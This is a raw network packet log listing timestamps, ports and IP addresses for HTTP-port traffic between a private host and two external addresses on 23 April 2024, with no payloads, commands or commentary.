Apr 23, 2024 09:38:05.145507097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145553112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145555973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145590067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145593882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145627975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145634890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145664930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145673037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145701885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145709038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145739079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145744085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145776033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145782948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145817041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145826101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145855904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145859003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145893097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145915985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145931005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145944118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.145967960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.145972013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146008015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146018982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146045923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146051884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146086931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146090984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146125078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146131992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146162033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146198034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146213055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146234035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146244049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146270037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146284103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146306992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146315098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146343946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146382093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146394968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146419048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146420002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146456003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146465063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146493912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146500111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146529913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146538019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146568060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146579027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146604061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146610975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146641016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146648884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146680117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146716118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146724939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146753073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146755934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146794081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146802902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146831036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146837950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146867037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146872997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146904945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146912098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146943092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146949053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.146981001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.146991014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147021055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147026062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147058010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147064924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147094011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147100925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147130966 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147138119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147170067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147180080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147207975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147211075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147244930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147253036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147283077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147337914 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147342920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147380114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147387028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147419930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147423983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147456884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147464037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147494078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147497892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147532940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147540092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147568941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147573948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147605896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147615910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147644997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147655964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147681952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147687912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147722006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147726059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147761106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147762060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147798061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147833109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147842884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147871971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147875071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147908926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147921085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147947073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147953987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.147984982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.147989988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.148030043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.257126093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.263006926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.349045992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349092007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349128962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349167109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349174976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349203110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349214077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349225998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349241972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349242926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349277973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349280119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349314928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349323034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349351883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349359035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349389076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349397898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349425077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349436998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349462032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349469900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349510908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349514961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349550962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349561930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349586964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349595070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349625111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349633932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349661112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349668980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349698067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349711895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349735022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349740028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349771023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349782944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349809885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349819899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349847078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349857092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349884987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349894047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349924088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349936962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349961042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.349967003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.349997044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350003958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350033045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350043058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350070000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350078106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350106955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350116968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350145102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350152969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350181103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350188971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350218058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350229025 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350255013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350264072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350291014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350296974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350327015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350334883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350363016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350372076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350399971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350413084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350436926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350442886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350472927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350477934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350509882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350522995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350547075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350554943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350584984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350596905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350621939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350630999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350658894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350671053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350694895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350703955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350730896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350737095 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350768089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350773096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350804090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350817919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350841999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350848913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350878000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350887060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350919962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350929976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350960016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.350967884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.350996971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351006985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351033926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351042986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351069927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351078987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351106882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351120949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351144075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351151943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351180077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351191998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351217031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351218939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351253033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351263046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351289988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351296902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351325989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351336002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351362944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351368904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351397991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351411104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351434946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351444960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351470947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351480961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351507902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351526976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351542950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351543903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351579905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351615906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351638079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351650953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351663113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351689100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351696014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351726055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351733923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351763964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351772070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351800919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351808071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351838112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351845026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351874113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351882935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351911068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351921082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351948977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.351959944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.351985931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352021933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352024078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352060080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352073908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352097034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352124929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352152109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352164030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352189064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352196932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352225065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352238894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352261066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352271080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352298975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352313042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352335930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352343082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352371931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352411032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352420092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352437973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352447033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352456093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352484941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352488041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352521896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352530003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352557898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352593899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352602959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352631092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352638006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352668047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352674961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352705002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352709055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352741957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352751017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352778912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352786064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352816105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352830887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352854013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352890015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352926970 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352927923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352927923 CEST	49733	80	192.168.2.4	185.172.128.76
